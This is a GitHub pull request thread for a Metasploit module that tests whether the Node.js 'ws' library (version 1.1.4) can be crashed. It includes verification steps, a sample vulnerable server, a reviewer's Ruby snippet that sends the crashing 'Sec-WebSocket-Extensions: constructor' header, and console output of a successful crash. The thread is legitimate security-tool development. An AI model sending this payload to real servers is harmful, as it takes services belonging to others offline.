Adding ws DoS module

[rknellx]

This module verifies if ws is vulnerable
to DoS by sending a request to the server
containing a specific header value.
ws is a npm module which handles websockets.

Tell us what this change does. If you're fixing a bug, please mention
the github issue number.

Verification

List the steps needed to make sure this thing works

• Start msfconsole
• use auxiliary/dos/http/ws_dos
• Download and install ws version 1.1.4 npm i ws@1.1.4
• Start the node server using the code below
• run in msf
• To verify it's vulnerable, the node process running the server should crash

This is an example server we tested against
for this vulnerability.

const WebSocket = require('ws');
const wss = new WebSocket.Server(
{ port: 3000 }
);
wss.on('connection', function connection(ws) {
console.log('connected');
ws.on('message', function incoming(message)
{ console.log('received: %s', message); }
);
ws.on('error', function (err)
{ console.error(err); }
);
});

[bcoles]

Can key be randomised ? Rex::Text.rand_text_alpha(rand(10) + 5)

[bcoles]

Suggest: set RHOST <IP>

[bcoles]

The newline and spaces are breaking the markdown.

[bcoles]

Ideally the module would use send_request_cgi from the Msf::Exploit::Remote::Http mixin, rather than using raw TCP.

Unfortunately it seems the HTTP mixin doesn't support websockets and there are no WebSocket libraries :(

Something like this would make the module much cleaner.

    res = send_request_cgi({
      'uri'      => normalize_uri(target_uri.to_s),
      'headers'  => {
        'Connection' => 'Upgrade',
        'Upgrade' => 'websocket',
        'Sec-WebSocket-Key' => Rex::Text.rand_text_alpha(rand(10) + 5).to_s,
        'Sec-WebSocket-Version' => '8',
        'Sec-WebSocket-Extensions' => 'constructor' # Adding "constructor" as the value for this header causes the DoS
      }
    }, 15)

[rknellx]

We tried to use send_request_cgi previously, however, we were unable to get the exploit to work because of the lack of WebSocket support.

[rknellx]

I just wanted to check with you on the status of the review of this pull request. Thank you.

[bcoles]

Missing `

[rknellx]

I added the missing `

[busterb]

Die, die!

[*] 127.0.0.1:3000 - Sending DoS packet to 127.0.0.1:3000
[+] 127.0.0.1:3000 - DoS packet successful. 127.0.0.1:3000 not responding.
[*] Auxiliary module execution completed
msf auxiliary(dos/http/ws_dos) > exit

[busterb]

Release Notes

This adds a Denial of Service exploit for the 'ws' websocket library in Node.js.